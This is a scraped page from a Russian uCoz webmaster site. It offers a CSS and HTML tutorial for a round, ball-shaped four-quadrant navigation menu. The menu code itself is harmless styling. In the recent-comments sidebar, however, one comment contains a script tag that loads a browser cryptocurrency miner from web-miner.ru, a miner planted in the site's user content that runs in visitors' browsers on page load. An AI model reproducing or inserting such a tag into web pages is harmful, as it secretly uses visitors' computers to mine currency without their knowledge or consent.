Пятница, 19.01.2018, 16:24
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Наш опрос
Как вы к нам зашли?


Всего ответов: 2010

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 21
Гостей: 21
Пользователей: 0


Зарегистрировано 30497 (сегодня + 1 новых, вчера + 0 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория Меню для uCoz сайта » Добавлено [17.06.2013, 18:26]

Круглое меню в виде шара для uCoz сайта

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Очень необычное и красивое круглое меню в виде шара для uCoz сайта Мы готовы Вам предложить сегодня. Для установки этого меню Вам потребуется скопировать код в CSS сайта, а так же в шаблоны, в тех местах где хотите видеть это красивое круглое меню. Так же меню можно редактировать, заменив картинки и стили.

# Копируйте в место, где хотите видеть само меню.

Код
<style>
ul.quadrant {
padding:0;  
margin:35px auto;  
list-style:none;  
width:202px;  
height:202px;  
border-radius:202px;
overflow:hidden;  
background:blue;/* Разделяющий цвет */
}
ul.quadrant li {width:100px; height:100px; margin:0 1px 1px 0; float:left;}
ul.quadrant li a {
display:block;
height:100px;  
width:100px;  
background-color:#000040;/* Цвет до наведения */
display:table-cell;  
vertical-align:middle;
text-align:center;
}
ul.quadrant li a img {border:0;}
ul.quadrant li:nth-child(1) a {border-radius:100px 0 0 0;
background-image: -webkit-radial-gradient(100px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -moz-radial-gradient(100px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -ms-radial-gradient(100px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -o-radial-gradient(100px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: radial-gradient(100px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
}
ul.quadrant li:nth-child(2) a {border-radius:0 100px 0 0;
background-image: -webkit-radial-gradient(0px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -moz-radial-gradient(0px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -ms-radial-gradient(0px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -o-radial-gradient(0px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: radial-gradient(0px 100px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
}
ul.quadrant li:nth-child(3) a {border-radius:0 0 0 100px;
background-image: -webkit-radial-gradient(100px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -moz-radial-gradient(100px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -ms-radial-gradient(100px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -o-radial-gradient(100px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: radial-gradient(100px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
}
ul.quadrant li:nth-child(4) a {border-radius:0 0 100px 0;
background-image: -webkit-radial-gradient(0px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -moz-radial-gradient(0px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -ms-radial-gradient(0px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: -o-radial-gradient(0px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
background-image: radial-gradient(0px 0px, circle cover, rgba(255,255,255,0.8), rgba(255,255,255,0) 50%, rgba(0,0,0,1) 80%);
}
ul.quadrant li a:hover {
background-color:#2060ff;/* Цвет при наведении */
}
</style>
<ul class="quadrant">
<li><a href="#"><img src="http://delaisait.ucoz.ru/script/menu/img/4/x1.png" alt="" /></a></li>
<li><a href="#"><img src="http://delaisait.ucoz.ru/script/menu/img/4/x2.png" alt="" /></a></li>
<li><a href="#"><img src="http://delaisait.ucoz.ru/script/menu/img/4/x3.png" alt="" /></a></li>
<li><a href="#"><img src="http://delaisait.ucoz.ru/script/menu/img/4/x4.png" alt="" /></a></li>
</ul>


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Круглое меню в виде шара для uCoz сайта



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: Меню для uCoz сайта | Добавил: scripts_for_ucoz | Теги: круглое меню, Веб-Мастер, Меню для ucoz, укоз, круглое, Menu, uCoz, Юкоз сайт, меню, скрипты
Просмотров: 4045 | Загрузок: 0 | Рейтинг: 5.0/1
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz